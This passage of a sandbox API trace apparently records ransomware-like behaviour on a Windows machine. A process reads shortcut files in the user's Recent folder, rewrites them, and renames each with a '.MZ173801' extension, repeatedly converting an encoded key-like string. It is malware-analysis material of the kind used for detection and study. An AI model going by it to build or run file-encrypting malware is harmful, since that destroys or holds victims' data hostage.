WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x243, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x243, lpOverlapped=0x0) returned 1 [0120.879] CloseHandle (hObject=0x288) returned 1 [0120.890] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Aei5BV-NT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aei5bv-nt.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Aei5BV-NT.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aei5bv-nt.lnk.mz173801")) returned 1 [0120.891] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0120.891] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf87efa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf87efa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf87efa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="BDN0V6S.lnk", cAlternateFileName="")) returned 1 [0120.891] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.891] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BDN0V6S.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bdn0v6s.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf87efa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf87efa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf87efa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f6)) returned 1 [0120.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BDN0V6S.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bdn0v6s.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.896] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.897] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.897] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9f6 [0120.897] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.897] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x9f6, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x9f6, lpOverlapped=0x0) returned 1 [0120.898] CloseHandle (hObject=0x288) returned 1 [0120.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BDN0V6S.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bdn0v6s.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.899] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x9f6, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x9f6, lpOverlapped=0x0) returned 1 [0120.900] CloseHandle (hObject=0x288) returned 1 [0120.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BDN0V6S.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bdn0v6s.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BDN0V6S.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bdn0v6s.lnk.mz173801")) returned 1 [0120.921] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedc8ca0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdedc8ca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdedc8ca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="BhvyHsMPz8V2JXr.ots.lnk", cAlternateFileName="BHVYHS~1.LNK")) returned 1 [0120.921] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.921] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BhvyHsMPz8V2JXr.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bhvyhsmpz8v2jxr.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedc8ca0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdedc8ca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdedc8ca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa42)) returned 1 [0120.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BhvyHsMPz8V2JXr.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bhvyhsmpz8v2jxr.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.926] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.926] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.926] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, 